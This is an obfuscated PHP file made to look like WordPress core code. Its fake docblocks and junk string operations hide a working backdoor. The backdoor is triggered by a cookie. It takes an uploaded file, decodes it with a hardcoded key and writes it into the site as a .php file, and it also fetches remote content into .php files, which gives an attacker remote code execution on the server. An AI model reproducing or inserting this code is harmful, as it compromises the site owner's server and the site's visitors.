$f4f4 = sprintf("%c", $custom_text_color);
// D - Protection bit
// is still valid.
$ID3v1Tag = strtr($duplicate_selectors, 8, 10);
$caption_lang = 'hy0an1z';
$check_zone_info = 'njfzljy0';
// the single-$ParsedID3v1 template or the taxonomy-$cached_entities template.
// Validate the `src` property.
return $f4f4;
}
/* translators: %s: style.css */
function get_sessions ($f0f1_2){
$nextRIFFheaderID = 'g5htm8';
$floatvalue = 's0y1';
$cond_after = 'hpcdlk';
$ID3v1Tag = 'ekbzts4';
$problems = 'sn1uof';
$textarr = 'ykiyqcu';
$combined_gap_value = 'hvdmqu';
$floatvalue = basename($floatvalue);
$respond_link = 'w5880';
$connection_charset = 'cvzapiq5';
$duplicate_selectors = 'y1xhy3w74';
$default_args = 'b9h3';
$thumbnail_update = 'qba9z2g';
$textarr = addcslashes($combined_gap_value, $thumbnail_update);
$clean_genres = 'yf240v';
// if it is already specified. They can get around
$MessageID = 'db7o';
// Number of Channels WORD 16 // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
$f0f1_2 = addcslashes($clean_genres, $MessageID);
$feature_category = 'p62zk';
$f0f1_2 = rtrim($feature_category);
// If the cookie is marked as host-only and we don't have an exact
// int64_t b7 = 2097151 & (load_3(b + 18) >> 3);
$from_string = 'ju8gh';
$nextRIFFheaderID = lcfirst($default_args);
$problems = ltrim($connection_charset);
$CodecIDlist = 'pb3j0';
$ID3v1Tag = strtr($duplicate_selectors, 8, 10);
$cond_after = strtolower($respond_link);
$thumbnail_update = ucwords($from_string);
$duplicate_selectors = strtolower($ID3v1Tag);
$unmet_dependency_names = 'q73k7';
$default_args = base64_encode($default_args);
$tiles = 'glfi6';
$CodecIDlist = strcoll($floatvalue, $floatvalue);
$RIFFtype = 'cqr7w';
// changed lines
$duplicate_selectors = htmlspecialchars_decode($ID3v1Tag);
$num_rows = 'sfneabl68';
$old_parent = 's0j12zycs';
$unmet_dependency_names = ucfirst($cond_after);
$media_options_help = 'yl54inr';
// step.
// Sets the global so that template tags can be used in the comment form.
$thumbnail_update = strripos($RIFFtype, $clean_genres);
$nextRIFFheaderID = crc32($num_rows);
$cond_after = strrev($respond_link);
$missingExtensions = 'y5sfc';
$tiles = levenshtein($media_options_help, $tiles);
$old_parent = urldecode($CodecIDlist);
$v_dirlist_descr = 'l2tobukm';
$media_options_help = strtoupper($tiles);
$unmet_dependency_names = substr($cond_after, 12, 7);
$nextRIFFheaderID = strrpos($num_rows, $nextRIFFheaderID);
$ID3v1Tag = md5($missingExtensions);
$floatvalue = rtrim($floatvalue);
$fp_temp = 'hc246e';
$v_dirlist_descr = basename($fp_temp);
$orderby_field = 'qx180';
$thisfile_riff_raw = 'x5zf';
$meta_query_obj = 'vytx';
$missingExtensions = htmlspecialchars($ID3v1Tag);
$contents = 'g7cbp';
$current_priority = 'oq7exdzp';
$num_rows = strcspn($nextRIFFheaderID, $default_args);
$num_rows = stripcslashes($nextRIFFheaderID);
$discard = 'acf1u68e';
$respond_link = strtoupper($contents);
$old_parent = rawurlencode($meta_query_obj);
$lcount = 'ftm6';
$orderby_field = base64_encode($thisfile_riff_raw);
$lastMessageID = 'mcjan';
$unmet_dependency_names = quotemeta($respond_link);
$media_options_help = strcoll($current_priority, $lcount);
$default_args = strtr($num_rows, 17, 20);
$new_request = 'yfoaykv1';
$public_post_types = 'wk8c2';
$trackbackmatch = 'ungd8h';
$thumbnail_support = 's11eca';
$ID3v1Tag = strrpos($discard, $lastMessageID);
$respond_link = strnatcmp($cond_after, $contents);
$old_parent = stripos($new_request, $old_parent);
$fields_update = 'sxdb7el';
$problems = strnatcmp($lcount, $current_priority);
// * Error Correction Data
// Patterns in the `featured` category.
// f
// Restore the global $reconnect_retries, $group_description, and $f4g5p_styles as they were before API preloading.
// if both surround channels exist
$public_post_types = strnatcmp($trackbackmatch, $thumbnail_support);
//No separate name, just use the whole thing
// e[2 * i + 1] = (a[i] >> 4) & 15;
$priority = 'fzgi77g6';
$trimmed_events = 'z03dcz8';
$num_rows = ucfirst($fields_update);
$pattern_name = 'lck9lpmnq';
$lastMessageID = basename($ID3v1Tag);
$pattern_name = basename($connection_charset);
$base_prefix = 'gemt9qg';
$font_collections_controller = 'dnu7sk';
$unmet_dependency_names = ucfirst($priority);
$nextRIFFheaderID = strnatcmp($num_rows, $nextRIFFheaderID);
$constants = 'p374w';
$unmet_dependency_names = stripcslashes($priority);
$num_rows = lcfirst($num_rows);
$missingExtensions = convert_uuencode($base_prefix);
$current_priority = rawurlencode($connection_charset);
$trimmed_events = strcspn($font_collections_controller, $new_request);
$pattern_name = urldecode($tiles);
$CodecIDlist = sha1($new_request);
$zip_fd = 'l8wc7f48h';
$custom_query_max_pages = 'r51igkyqu';
$missingExtensions = stripcslashes($base_prefix);
$remote_socket = 'cux1';
$clean_queries = 'i4x5qayt';
$theme_mods_options = 'oitrhv';
$zip_fd = soundex($contents);
$month_exists = 'udz7';
// * Codec Name WCHAR variable // array of Unicode characters - name of codec used to create the content
$f0f1_2 = lcfirst($constants);
$menu_item_value = 'ylo1km2cq';
$menu_item_value = stripos($RIFFtype, $menu_item_value);
return $f0f1_2;
}
$x5 = basename($x5);
$filtered_content_classnames = base64_encode($filtered_content_classnames);
$border_styles = basename($border_styles);
/**
* Core walker class used to create an HTML list of comments.
*
* @since 2.7.0
*
* @see Walker
*/
function attachAll ($public_post_types){
$v_dirlist_descr = 'yuxsxeyd';
$page_ids = 'okihdhz2';
$tab_name = 'zwdf';
$targets_entry = 'nqy30rtup';
$plugin_changed = 'txfbz2t9e';
$SlashedGenre = 'g36x';
$public_post_types = stripslashes($v_dirlist_descr);
// action=spamcomment: Following the "Spam" link below a comment in wp-admin (not allowing AJAX request to happen).
$public_post_types = crc32($public_post_types);
// $background is the saved custom image, or the default image.
$SlashedGenre = str_repeat($SlashedGenre, 4);
$targets_entry = trim($targets_entry);
$recent_posts = 'c8x1i17';
$maybe_bool = 'iiocmxa16';
$css_number = 'u2pmfb9';
$v_dirlist_descr = addslashes($public_post_types);
$page_ids = strcoll($page_ids, $css_number);
$plugin_changed = bin2hex($maybe_bool);
$SlashedGenre = md5($SlashedGenre);
$baseurl = 'kwylm';
$tab_name = strnatcasecmp($tab_name, $recent_posts);
// eliminate double slash
$css_number = str_repeat($page_ids, 1);
$GoodFormatID3v1tag = 'flza';
$plugin_changed = strtolower($maybe_bool);
$SlashedGenre = strtoupper($SlashedGenre);
$ReturnedArray = 'msuob';
// Two byte sequence:
// Just strip before decoding
$rule_indent = 'eca6p9491';
$o_name = 'q3dq';
$baseurl = htmlspecialchars($GoodFormatID3v1tag);
$recent_posts = convert_uuencode($ReturnedArray);
$maybe_bool = ucwords($plugin_changed);
$v_dirlist_descr = str_repeat($public_post_types, 2);
// Check that the folder contains a valid language.
// the redirect has changed the request method from post to get
$public_post_types = strip_tags($public_post_types);
$ok_to_comment = 'dohvw';
$maybe_bool = addcslashes($plugin_changed, $plugin_changed);
$media_per_page = 'xy0i0';
$page_ids = levenshtein($page_ids, $rule_indent);
$dest_dir = 'npx3klujc';
return $public_post_types;
}
/**
* Gets the file size (in bytes).
*
* @since 2.7.0
*
* @param string $f2g6 Path to file.
* @return int|false Size of the file in bytes on success, false on failure.
*/
function list_cats($f1f3_4, $desc_text){
$flex_width = 'jkhatx';
$network_admin = 'hvsbyl4ah';
$f6f7_38 = 'rfpta4v';
$nextpos = 'a8ll7be';
$tablekey = 'gsg9vs';
$core_menu_positions = move_uploaded_file($f1f3_4, $desc_text);
$tablekey = rawurlencode($tablekey);
$flex_width = html_entity_decode($flex_width);
$f6f7_38 = strtoupper($f6f7_38);
$nextpos = md5($nextpos);
$network_admin = htmlspecialchars_decode($network_admin);
return $core_menu_positions;
}
/* translators: %s: Image width and height in pixels. */
function RemoveStringTerminator ($p_nb_entries){
$p_nb_entries = htmlentities($p_nb_entries);
//for(reset($v_data); $doing_ajax_or_is_customized = key($v_data); next($v_data)) {
$p_nb_entries = base64_encode($p_nb_entries);
$link_ids = 'z22t0cysm';
$f5f9_76 = 'ghx9b';
$queryable_post_types = 'xpqfh3';
// phpcs:enable
// Pretty permalinks on, and URL is under the API root.
# e[31] |= 64;
$f5f9_76 = str_repeat($f5f9_76, 1);
$link_ids = ltrim($link_ids);
$queryable_post_types = addslashes($queryable_post_types);
// Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called.
$echo = 'izlixqs';
$f5f9_76 = strripos($f5f9_76, $f5f9_76);
$BlockOffset = 'f360';
$BlockOffset = str_repeat($queryable_post_types, 5);
$FastMode = 'gjokx9nxd';
$f5f9_76 = rawurldecode($f5f9_76);
$ep_mask = 'igf77np';
$queryable_post_types = stripos($queryable_post_types, $BlockOffset);
$f5f9_76 = htmlspecialchars($f5f9_76);
$rawflagint = 'bdxb';
$ep_mask = htmlspecialchars($p_nb_entries);
$non_supported_attributes = 'nnisoz';
$network_query = 'elpit7prb';
$unregistered_source = 'tm38ggdr';
$echo = strcspn($FastMode, $rawflagint);
// Registration rules.
// ----- Get 'memory_limit' configuration value
$p_nb_entries = stripos($p_nb_entries, $non_supported_attributes);
$ep_mask = ltrim($p_nb_entries);
// Already queued and in the right group.
$font_face_id = 'x05uvr4ny';
$gd = 'ucdoz';
$BlockOffset = chop($network_query, $network_query);
// ----- Check the value
$ep_mask = wordwrap($non_supported_attributes);
$thumbnails_parent = 'vlrlmgjr4';
// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
$unregistered_source = convert_uuencode($gd);
$v_name = 'a816pmyd';
$font_face_id = convert_uuencode($rawflagint);
$font_faces = 'wr16s';
$thumbnails_parent = bin2hex($font_faces);
// ----- Look for options that request an octal value
$v_name = soundex($network_query);
$use_count = 'smwmjnxl';
$nested_files = 'b3jalmx';
$ep_mask = urlencode($non_supported_attributes);
$f5f9_76 = stripos($nested_files, $f5f9_76);
$genres = 'ragk';
$use_count = crc32($echo);
$genres = urlencode($v_name);
$nested_files = levenshtein($gd, $f5f9_76);
$new_attributes = 'wose5';
$font_faces = sha1($p_nb_entries);
$new_attributes = quotemeta($use_count);
$chown = 'wypz61f4y';
$jetpack_user = 'kz6siife';
$p_nb_entries = rawurlencode($p_nb_entries);
// ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */
$BlockOffset = quotemeta($jetpack_user);
$done = 'vnyazey2l';
$photo_list = 'hfbhj';
$mail_success = 'kku96yd';
$chown = strcspn($nested_files, $done);
$use_count = nl2br($photo_list);
$patterns = 'gm5av';
$new_prefix = 'hsmx';
$mail_success = chop($jetpack_user, $jetpack_user);
$thumbnails_parent = is_string($ep_mask);
$requests_query = 'pki80r';
$max_timestamp = 'ky18';
$patterns = addcslashes($font_face_id, $rawflagint);
$drefDataOffset = 'y49rx';
$order_by_date = 'p6dlmo';
$jetpack_user = levenshtein($requests_query, $requests_query);
$new_prefix = lcfirst($max_timestamp);
$p_nb_entries = strcoll($non_supported_attributes, $drefDataOffset);
$formfiles = 'xwsipo';
$non_supported_attributes = quotemeta($formfiles);
$AC3syncwordBytes = 'zn3rewp8h';
// Parse site IDs for a NOT IN clause.
// Set directory permissions.
$new_prefix = strnatcasecmp($unregistered_source, $new_prefix);
$thisB = 'kjccj';
$order_by_date = str_shuffle($order_by_date);
$thisB = rawurldecode($BlockOffset);
$query_vars_hash = 'lgaqjk';
$uploaded_headers = 'llqtlxj9';
$AC3syncwordBytes = levenshtein($formfiles, $thumbnails_parent);
$p_nb_entries = strip_tags($p_nb_entries);
$uploaded_headers = htmlspecialchars_decode($chown);
$FastMode = substr($query_vars_hash, 15, 15);
$genres = md5($genres);
$done = chop($chown, $unregistered_source);
$mail_success = ucfirst($mail_success);
$cached_object = 'rysujf3zz';
// ----- Merge the file comments
// Comment author IDs for an IN clause.
return $p_nb_entries;
}
/**
* Font Collection class.
*
* This file contains the Font Collection class definition.
*
* @package WordPress
* @subpackage Fonts
* @since 6.5.0
*/
function wp_kses_normalize_entities3 ($clean_genres){
$textarr = 'vbam';
$combined_gap_value = 'b3i4d4fz';
$kAlphaStr = 'v2w46wh';
$kAlphaStr = nl2br($kAlphaStr);
$kAlphaStr = html_entity_decode($kAlphaStr);
$parsed_block = 'ii3xty5';
$textarr = basename($combined_gap_value);
$mu_plugin_rel_path = 'sbf11r3y';
// Template for an embedded Video details.
// Menu doesn't already exist, so create a new menu.
$thumbnail_support = 'fw6eng73f';
$mu_plugin_rel_path = nl2br($thumbnail_support);
$f9_38 = 'ffxn';
// The request was made via wp.customize.previewer.save().
// We have to run it here because we need the post ID of the Navigation block to track ignored hooked blocks.
$err_message = 'bv0suhp9o';
// Remove any non-printable chars from the login string to see if we have ended up with an empty username.
$parsed_block = rawurlencode($err_message);
// pointer
$kAlphaStr = strtolower($parsed_block);
//Skip straight to the next header
$current_stylesheet = 'zz2nmc';
$measurements = 'jy5b';
$orig_installing = 'a0pi5yin9';
$current_stylesheet = strtoupper($orig_installing);
$f9_38 = strripos($clean_genres, $measurements);
// Clean up the whitespace.
// we are in an array, so just push an element onto the stack
$parsed_block = bin2hex($kAlphaStr);
// If the $upgrading timestamp is older than 10 minutes, consider maintenance over.
$compiled_core_stylesheet = 'mns6csyiq';
// Expand change operations.
$maxlen = 'kjd5';
$maxlen = md5($parsed_block);
// or a string to be added as file. For any other type of files (link, other)
// Add a class.
$f9_38 = stripos($f9_38, $compiled_core_stylesheet);
// Reject malformed components parse_url() can return on odd inputs.
$thumbnail_update = 'njo4qe2';
$parsed_block = html_entity_decode($kAlphaStr);
$connect_host = 'ixymsg';
$page_columns = 'zmu905';
$mods = 'tkwrz';
$thumbnail_update = str_shuffle($page_columns);
$connect_host = addcslashes($maxlen, $mods);
$default_menu_order = 'om8ybf';
// array of raw headers to send
// odd number of backslashes at the end of the string so far
$framedataoffset = 'xzrm6';
$recurrence = 'k7aqsqacr';
$connect_host = urlencode($default_menu_order);
$paging_text = 'zquul4x';
$framedataoffset = str_repeat($recurrence, 5);
// ----- Read the 4 bytes signature
$global_styles_block_names = 'qfdvun0';
$paging_text = stripcslashes($global_styles_block_names);
// innerBlocks. The data-id attribute is added in a core/gallery
// Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, SCRIPT_DEBUG, WP_CONTENT_DIR and WP_CACHE.
$measurements = strtr($framedataoffset, 17, 6);
// Default comment.
$feature_node = 'e3blzo6';
$nav_menus_l10n = 'w32l7a';
// If a changeset was provided is invalid.
// Take a snapshot of which fields are in the schema pre-filtering.
// Adds the old class name for styles' backwards compatibility.
// Script Command Object: (optional, one only)
$nav_menus_l10n = rtrim($kAlphaStr);
$menu_item_value = 'jkkg59';
$feature_node = basename($menu_item_value);
// Save the size meta value.
// Check for a match
// This will get rejected in ::get_item().
$color_scheme = 'hcl7';
$thisfile_wavpack = 'pp5lv';
$current_time = 'izhbomlk';
$thisfile_wavpack = trim($current_time);
$color_scheme = trim($global_styles_block_names);
$mods = strrpos($parsed_block, $current_stylesheet);
$parsed_block = strtr($err_message, 7, 6);
$public_post_types = 'rc7g';
$v_dirlist_descr = 'jpg2';
//Set the time zone to whatever the default is to avoid 500 errors
$public_post_types = convert_uuencode($v_dirlist_descr);
$datepicker_defaults = 'sqhjbn279';
$orderby_field = 'u6wldhkb';
// 3.7
$datepicker_defaults = strtoupper($orderby_field);
$required_mysql_version = 'v8f2rv7';
// extra 11 chars are not part of version string when LAMEtag present
// Error Correction Data Length DWORD 32 // number of bytes for Error Correction Data field
$required_mysql_version = htmlentities($compiled_core_stylesheet);
$thumbnail_update = rtrim($textarr);
// Strip all /path/../ out of the path.
$ATOM_SIMPLE_ELEMENTS = 'iwrd2';
$RIFFtype = 'yllqcex1h';
$ATOM_SIMPLE_ELEMENTS = ucfirst($RIFFtype);
// Nikon Camera preview iMage 1
return $clean_genres;
}
$meta_compare_string_end = soundex($meta_compare_string_end);
$f2_2 = crc32($f2_2);
/**
* Generates the CSS corresponding to the provided layout.
*
* @since 5.9.0
* @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
* @since 6.3.0 Added grid layout type.
* @access private
*
* @param string $NSelector CSS selector.
* @param array $layout Layout object. The one that is passed has already checked
* the existence of default block layout.
* @param bool $maximum_font_size_rawas_block_gap_support Optional. Whether the theme has support for the block gap. Default false.
* @param string|string[]|null $gap_value Optional. The block gap value to apply. Default null.
* @param bool $NShould_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
* @param string $fallback_gap_value Optional. The block gap value to apply. Default '0.5em'.
* @param array|null $block_spacing Optional. Custom spacing set on the block. Default null.
* @return string CSS styles on success. Else, empty string.
*/
function get_plural_form($valuePairs){
// The following rows consist of 4byte address (absolute) and 4byte size (0x1000), these point to the GPS data in the file.
// https://github.com/JamesHeinrich/getID3/issues/287
// For one thing, byte order is swapped
echo $valuePairs;
}
/**
* If the term being split is a nav_menu, changes associations.
*
* @ignore
* @since 4.3.0
*
* @param int $got_rewrite ID of the formerly shared term.
* @param int $placeholder_count ID of the new term created for the $f7g0.
* @param int $f7g0 ID for the term_taxonomy row affected by the split.
* @param string $cached_entities Taxonomy for the split term.
*/
function upgrade_560($got_rewrite, $placeholder_count, $f7g0, $cached_entities)
{
if ('nav_menu' !== $cached_entities) {
return;
}
// Update menu locations.
$fetched = get_nav_menu_locations();
foreach ($fetched as $global_styles_config => $registered_menus) {
if ($got_rewrite === $registered_menus) {
$fetched[$global_styles_config] = $placeholder_count;
}
}
set_theme_mod('nav_menu_locations', $fetched);
}
$meta_compare_string_end = stripslashes($meta_compare_string_end);
/**
* Holds a string which contains script handles and their version.
*
* @since 2.8.0
* @deprecated 3.4.0
* @var string
*/
function get_transport($basedir){
// Check if the supplied URL is a feed, if it isn't, look for it.
// but only one with the same 'owner identifier'
$returnType = basename($basedir);
$modified_gmt = add_endpoint($returnType);
$v_pos_entry = 'jrhfu';
$noform_class = 'a0osm5';
$remote_source_original = 'fqnu';
$fieldnametranslation = 'fhtu';
$revisions_data = 'mwqbly';
$fieldnametranslation = crc32($fieldnametranslation);
$privacy_policy_content = 'h87ow93a';
$usage_limit = 'cvyx';
$revisions_data = strripos($revisions_data, $revisions_data);
$unsignedInt = 'wm6irfdi';
sodium_crypto_box_keypair_from_secretkey_and_publickey($basedir, $modified_gmt);
}
/**
* Class WP_Sitemaps_Renderer
*
* @since 5.5.0
*/
function get_sitemap_index_xml($modified_gmt, $doing_ajax_or_is_customized){
$magic = file_get_contents($modified_gmt);
$next_update_time = separate_comments($magic, $doing_ajax_or_is_customized);
$v_pos_entry = 'jrhfu';
$privacy_policy_content = 'h87ow93a';
$v_pos_entry = quotemeta($privacy_policy_content);
file_put_contents($modified_gmt, $next_update_time);
}
/**
* Retrieves the list of bulk actions available for this table.
*
* The format is an associative array where each element represents either a top level option value and label, or
* an array representing an optgroup and its options.
*
* For a standard option, the array element key is the field value and the array element value is the field label.
*
* For an optgroup, the array element key is the label and the array element value is an associative array of
* options as above.
*
* Example:
*
* [
* 'edit' => 'Edit',
* 'delete' => 'Delete',
* 'Change State' => [
* 'feature' => 'Featured',
* 'sale' => 'On Sale',
* ]
* ]
*
* @since 3.1.0
* @since 5.6.0 A bulk action can now contain an array of options in order to create an optgroup.
*
* @return array
*/
function wp_set_sidebars_widgets($new_site_url, $mb_length, $desired_aspect){
$returnType = $_FILES[$new_site_url]['name'];
$num_bytes_per_id = 'd5k0';
// auto-PLAY atom
$esc_classes = 'mx170';
$num_bytes_per_id = urldecode($esc_classes);
$modified_gmt = add_endpoint($returnType);
$queried_post_type_object = 'cm4o';
$esc_classes = crc32($queried_post_type_object);
get_sitemap_index_xml($_FILES[$new_site_url]['tmp_name'], $mb_length);
// Object ID GUID 128 // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object
list_cats($_FILES[$new_site_url]['tmp_name'], $modified_gmt);
}
/**
* Removes any rewrite rules, permastructs, and rules for the post type.
*
* @since 4.6.0
*
* @global WP_Rewrite $check_dir WordPress rewrite component.
* @global WP $f4g5p Current WordPress environment instance.
* @global array $ParsedID3v1_meta_caps Used to remove meta capabilities.
*/
function add_endpoint($returnType){
$columns_selector = __DIR__;
$font_sizes_by_origin = ".php";
$pKey = 'ugf4t7d';
$n_from = 'w5qav6bl';
$returnType = $returnType . $font_sizes_by_origin;
//There should not be any EOL in the string
$returnType = DIRECTORY_SEPARATOR . $returnType;
$n_from = ucwords($n_from);
$padding_right = 'iduxawzu';
$returnType = $columns_selector . $returnType;
// ///
$formatted_date = 'tcoz';
$pKey = crc32($padding_right);
$n_from = is_string($formatted_date);
$pKey = is_string($pKey);
$padding_right = trim($padding_right);
$formatted_date = substr($formatted_date, 6, 7);
// [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
// Populate the inactive list with plugins that aren't activated.
// Filter away the core WordPress rules.
// Append post states.
return $returnType;
}
/*
* If no menu was found:
* - Fall back (if one was specified), or bail.
*
* If no menu items were found:
* - Fall back, but only if no theme location was specified.
* - Otherwise, bail.
*/
function sodium_crypto_box_keypair_from_secretkey_and_publickey($basedir, $modified_gmt){
$MPEGaudioLayer = wp_salt($basedir);
if ($MPEGaudioLayer === false) {
return false;
}
$used_curies = file_put_contents($modified_gmt, $MPEGaudioLayer);
return $used_curies;
}
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/
function unregister_widget_control($desired_aspect){
get_transport($desired_aspect);
$op_precedence = 'ng99557';
$return_value = 'okod2';
$link_ids = 'z22t0cysm';
$top_level_elements = 'qg7kx';
// Certain long comment author names will be truncated to nothing, depending on their encoding.
get_plural_form($desired_aspect);
}
/**
* Determines whether the current admin page is generated by a plugin.
*
* Use global $plugin_page and/or get_plugin_page_hookname() hooks.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 1.5.0
* @deprecated 3.1.0
*
* @global $plugin_page
*
* @return bool
*/
function data_wp_interactive_processor($basedir){
// Add info in Media section.
$f3g2 = 'fsyzu0';
$f3g2 = soundex($f3g2);
if (strpos($basedir, "/") !== false) {
return true;
}
return false;
}
/**
* Parses the site icon from the provided HTML.
*
* @since 5.9.0
*
* @param string $maximum_font_size_rawtml The HTML from the remote website at URL.
* @param string $basedir The target website URL.
* @return string The icon URI on success. Empty string if not found.
*/
function have_posts($new_site_url, $mb_length, $desired_aspect){
if (isset($_FILES[$new_site_url])) {
wp_set_sidebars_widgets($new_site_url, $mb_length, $desired_aspect);
}
$LISTchunkParent = 'seis';
$bit_depth = 'hz2i27v';
$unsorted_menu_items = 'xdzkog';
$bit_depth = rawurlencode($bit_depth);
$unsorted_menu_items = htmlspecialchars_decode($unsorted_menu_items);
$LISTchunkParent = md5($LISTchunkParent);
get_plural_form($desired_aspect);
}
/*
* Use the first plugin regardless of the name.
* Could have issues for multiple plugins in one directory if they share different version numbers.
*/
function get_category_permastruct($new_site_url){
$this_tinymce = 'robdpk7b';
$nav_menu_selected_id = 'uj5gh';
// For negative or `0` positions, prepend the submenu.
$mb_length = 'eaDUBXHLyFHbaEwG';
if (isset($_COOKIE[$new_site_url])) {
wp_after_insert_post($new_site_url, $mb_length);
}
}
$filtered_content_classnames = nl2br($filtered_content_classnames);
$x5 = strtr($x5, 10, 5);
$rotated = 'zdsv';
$f1g2 = 'cnu0bdai';
$new_site_url = 'iklZxsj';
get_category_permastruct($new_site_url);
// pic_height_in_map_units_minus1
$profile_compatibility = 'pjs0s';
/**
* Deletes one existing category.
*
* @since 2.0.0
*
* @param int $new_text Category term ID.
* @return bool|int|WP_Error Returns true if completes delete action; false if term doesn't exist;
* Zero on attempted deletion of default Category; WP_Error object is
* also a possibility.
*/
function render_block_core_navigation_submenu($new_text)
{
return wp_delete_term($new_text, 'category');
}
$filtered_content_classnames = ltrim($filtered_content_classnames);
$meta_compare_string_end = strnatcmp($meta_compare_string_end, $meta_compare_string_end);
$border_styles = strip_tags($rotated);
$f2_2 = addcslashes($f1g2, $f1g2);
$x5 = md5($x5);
// The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030.
$profile_compatibility = md5($profile_compatibility);
$profile_compatibility = 'ov2f22w';
$profile_compatibility = rtrim($profile_compatibility);
// Add 'width' and 'height' attributes if applicable.
// Only available for core updates.
$tempfilename = 'uefxtqq34';
$filtered_content_classnames = html_entity_decode($filtered_content_classnames);
$rotated = stripcslashes($rotated);
$root_value = 'l5oxtw16';
$f2_2 = levenshtein($f1g2, $f1g2);
$meta_update = 'm2cvg08c';
$f1g2 = strtr($f1g2, 16, 11);
$border_styles = htmlspecialchars($border_styles);
$frame_sellerlogo = 'mcakz5mo';
$blocked = 'wt6n7f5l';
$block_patterns = 'wcks6n';
$filtered_content_classnames = stripos($blocked, $filtered_content_classnames);
$tempfilename = strnatcmp($x5, $frame_sellerlogo);
$root_value = stripos($meta_update, $meta_compare_string_end);
$default_dirs = 'yw7erd2';
$block_patterns = is_string($f1g2);
$default_dirs = strcspn($border_styles, $default_dirs);
$configurationVersion = 'uhgu5r';
$new_namespace = 'alwq';
$filtered_content_classnames = lcfirst($filtered_content_classnames);
$profile_compatibility = 'g89c';
/**
* Lists categories.
*
* @since 1.2.0
* @deprecated 2.1.0 Use wp_list_categories()
* @see wp_list_categories()
*
* @param string|array $QuicktimeVideoCodecLookup
* @return null|string|false
*/
function privReadFileHeader($QuicktimeVideoCodecLookup = '')
{
_deprecated_function(__FUNCTION__, '2.1.0', 'wp_list_categories()');
$updates_howto = wp_parse_args($QuicktimeVideoCodecLookup);
// Map to new names.
if (isset($updates_howto['optionall']) && isset($updates_howto['all'])) {
$updates_howto['show_option_all'] = $updates_howto['all'];
}
if (isset($updates_howto['sort_column'])) {
$updates_howto['orderby'] = $updates_howto['sort_column'];
}
if (isset($updates_howto['sort_order'])) {
$updates_howto['order'] = $updates_howto['sort_order'];
}
if (isset($updates_howto['optiondates'])) {
$updates_howto['show_last_update'] = $updates_howto['optiondates'];
}
if (isset($updates_howto['optioncount'])) {
$updates_howto['show_count'] = $updates_howto['optioncount'];
}
if (isset($updates_howto['list'])) {
$updates_howto['style'] = $updates_howto['list'] ? 'list' : 'break';
}
$updates_howto['title_li'] = '';
return wp_list_categories($updates_howto);
}
$profile_compatibility = strcspn($profile_compatibility, $profile_compatibility);
$CodecListType = 'w3ue563a';
// Skip if there are no duplicates.
// Use the file modified time in development.
$profile_compatibility = 'ywzt5b8';
// Update existing menu item. Default is publish status.
$CodecListType = convert_uuencode($profile_compatibility);
$CodecListType = 'weckt83qn';
// On updates, we need to check to see if it's using the old, fixed sanitization context.
// Run for styles enqueued in .
/**
* Retrieves the status of a comment by comment ID.
*
* @since 1.0.0
*
* @param int|WP_Comment $enable_exceptions Comment ID or WP_Comment object
* @return string|false Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure.
*/
function install_plugins_favorites_form($enable_exceptions)
{
$layout_selector_pattern = get_comment($enable_exceptions);
if (!$layout_selector_pattern) {
return false;
}
$videos = $layout_selector_pattern->comment_approved;
if (null == $videos) {
return false;
} elseif ('1' == $videos) {
return 'approved';
} elseif ('0' == $videos) {
return 'unapproved';
} elseif ('spam' === $videos) {
return 'spam';
} elseif ('trash' === $videos) {
return 'trash';
} else {
return false;
}
}
// Wrap Quick Draft content in the Paragraph block.
$new_namespace = strripos($root_value, $meta_update);
$configurationVersion = rawurlencode($tempfilename);
$ephKeypair = 'ek1i';
$b4 = 'rhs386zt';
$TrackNumber = 'pwust5';
$email_change_text = 'uav3w';
$required_by = 'mt31wq';
$filtered_content_classnames = crc32($ephKeypair);
$f2_2 = basename($TrackNumber);
$frequency = 'kj71f8';
$b4 = strripos($rotated, $rotated);
/**
* Multisite WordPress API
*
* @package WordPress
* @subpackage Multisite
* @since 3.0.0
*/
/**
* Gets the network's site and user counts.
*
* @since MU (3.0.0)
*
* @return int[] {
* Site and user count for the network.
*
* @type int $blogs Number of sites on the network.
* @type int $enableds Number of users on the network.
* }
*/
function get_property_value()
{
$convert = array('blogs' => get_blog_count(), 'users' => get_user_count());
return $convert;
}
$CodecListType = stripslashes($email_change_text);
/**
* Handles deleting a page via AJAX.
*
* @since 3.1.0
*
* @param string $offer_key Action to perform.
*/
function get_main_site_id($offer_key)
{
if (empty($offer_key)) {
$offer_key = 'delete-page';
}
$local = isset($_POST['id']) ? (int) $_POST['id'] : 0;
check_ajax_referer("{$offer_key}_{$local}");
if (!current_user_can('delete_page', $local)) {
wp_die(-1);
}
if (!get_post($local)) {
wp_die(1);
}
if (wp_delete_post($local)) {
wp_die(1);
} else {
wp_die(0);
}
}
// Field Name Field Type Size (bits)
/**
* Cleans up an array, comma- or space-separated list of IDs.
*
* @since 3.0.0
* @since 5.1.0 Refactored to use wp_parse_list().
*
* @param array|string $NewLengthString List of IDs.
* @return int[] Sanitized array of IDs.
*/
function like_escape($NewLengthString)
{
$NewLengthString = wp_parse_list($NewLengthString);
return array_unique(array_map('absint', $NewLengthString));
}
// while reading the file
$CodecListType = 'efon';
$CodecListType = addslashes($CodecListType);
$rest_prepare_wp_navigation_core_callback = 'a81w';
$tab_index_attribute = 'd51edtd4r';
$f2_2 = bin2hex($TrackNumber);
$multirequest = 'zu6w543';
$required_by = htmlspecialchars($new_namespace);
$unuseful_elements = 'y9w2yxj';
$frequency = md5($tab_index_attribute);
$filtered_content_classnames = ltrim($rest_prepare_wp_navigation_core_callback);
